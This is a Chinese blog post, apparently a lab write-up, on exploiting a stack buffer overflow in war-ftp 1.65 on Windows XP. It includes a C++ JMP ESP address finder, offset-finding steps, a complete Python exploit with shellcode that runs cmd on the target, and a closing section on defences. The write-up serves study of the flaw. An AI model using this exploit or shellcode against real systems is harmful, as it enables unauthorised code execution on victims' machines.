缓冲区溢出漏洞实战

记一个缓冲区溢出漏洞原理与利用的过程,加深对缓冲区溢出漏洞的理解,学习缓冲区溢出漏洞的防范方式。

搭建Windows10 FTP服务器

控制面板,程序与功能,选择启用或关闭Windows功能,在IIS中选择下列内容

确定之后等待几分钟Windows自动配置

然后进入开始面板,找到Windows管理工具,里面有个IIS管理器,打开:

在左侧选择新建FTP站点,如下图:

填写站点信息:

配置IP和端口:

配置权限:

xp虚拟机访问:

war-ftp 1.65

环境

  • ollydbg

  • war-ftp 1.65

  • Windows 10

  • Windows xp sp1

  • VC++6.0

  • python 3.7.2

使用ollydbg打开程序

然后点击开始运行,出现下面的界面:

允许匿名登录,点击那个最左边的黄色闪电符号开启服务

编写测试溢出的代码

根据ppt内容,我们可以知道,漏洞是在向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER longString\r\n),溢出之后,ESP中的内容包含了longString中的部分内容。

编写python脚本,链接ftp服务:

运行之后可以看到xp虚拟机中的程序已经崩溃了,查看ollydbg,我们可以看出EIP的值已经改变,编程41414141,也就是A的ascii码,证明确实有溢出漏洞。

确定溢出点

ppt上面说是超过480,那么我们先用480试试

我们发现EIP变成了43434343也就是字符C,我们进一步确定溢出点应该是在486到490之间,继续细化:

我们可以看到EIP变成了45444342 即EDCB,因此溢出位置应该是在486-489

查找JMP ESP指令地址

如果选择 ESP 为跳转的寄存器,则需要 JMP ESP 的指令地址,在中文 Windows 系统核心 dll 中查找, 找到XP kernel32.dll 的 JMP ESP:0x77fb59cc ,此外可以使用中文 WIN 2K/XP/2003 下通用的 JMP ESP : 0x7ffa4512

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<windows.h>
#include<iostream.h>

#include<tchar.h>

int getJmpEsp(TCHAR *ucDllName)
{
HINSTANCE h;

h = GetModuleHandle(ucDllName); //从当前进程获得dll的起始位置
if(h == NULL)
{
h = LoadLibrary(ucDllName); //若当前进程没有导入dll 则加载dll 到当前进程,并且记录起始位置
if(h == NULL)
{
cout<<"ERROR LOADING DLL:"<<ucDllName<<endl;
return -1;
}
}
BYTE* ptr=(BYTE*)h;
bool done=false;
for(int y=0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4) // jmp esp对应的机器码 为FF E4, 进行查找
{
int pos=(int)ptr + y; //找到jmp esp地址后,则加上起始地址,为jmp esp 在内存的绝对地址
cout<<"OPCODE found at 0x"<<hex<<pos<<endl; //输出jmp esp的地址
}
}catch(...)
{
cout<<"END OF "<<ucDllName<<" MEMORY REACHED"<<endl;
done=true;
}
}
FreeLibrary(h);
return 0;
}
int main()
{
getJmpEsp("ntdll"); //从ntdll.dll 查找jmp esp地址
getJmpEsp("kernel32"); //从kernel32.dll 查找jmp esp地址
return 0;

}

构造攻击代码

构造的攻击字串如图所示。

这里我们构造一个简单的shellcode简单验证一下原理:

构造shellcode使目标机运行cmd

查找WinExec的地址,ctrl+G输入WinExec即可:

我们可以看到WinExec在我的xp虚拟机中的地址是77e4fd35

构造出来的payload:

执行使用payload进行登录:

成功执行了目标机的CMD。

后面可以去网上找一些比较功能完善的shellcode,比如创建一个系统管理员用户等。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
from ftplib import FTP
ftp = FTP('192.168.52.143')
#ftp.login('A' * 500, 'www')
#ftp.login('A' * 480+'B'*5+'C'*5, 'www')
buf = 'A' * 485 + '\xcc\x59\xfb\x77' + 'B' * 4
buf += "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45"
buf += "\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6"
buf += "\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78"
buf += "\xC6\x45\xFE\x65\x6A\x01\x8D\x45\xF8\x50\xBA"
buf += "\x35\xfd\xe4\x77"
buf += "\xFF\xD2\xC9"
ftp.login(buf, 'test')

防范方法

从代码编写的角度来说,对于缓冲区的操作要进行严格的边界检查,这可借助一些工具如编译器来实现,像这次实践的 war-ftp 1.65 就应该对用户名数组边界进行检测;从运行状态来看,可进行动态保护,主要是数组边界检查和保证返回指针的完整性;从开发语言来看可使用安全的函数检测输入是否越界; 此外还可以从系统的角度阻止攻击代码的执行,例如非执行的缓冲区技术。对于操作系统而言, Windows 从 XP SP2 引入的 DEP(Data Execution Prevention) 即“数据执行保护”,一直延续到此后的 Windows Server 2003 、 Windows Server 2008 中,后者的 Address Space Load Randomization 让缓冲区溢出攻击变得非常困难,在 Windows 7 中, DEP 默认是激活的。


缓冲区溢出漏洞实战
https://chujian521.github.io/blog/2020/04/21/缓冲区溢出漏洞实战/
作者
Encounter
发布于
2020年4月21日
许可协议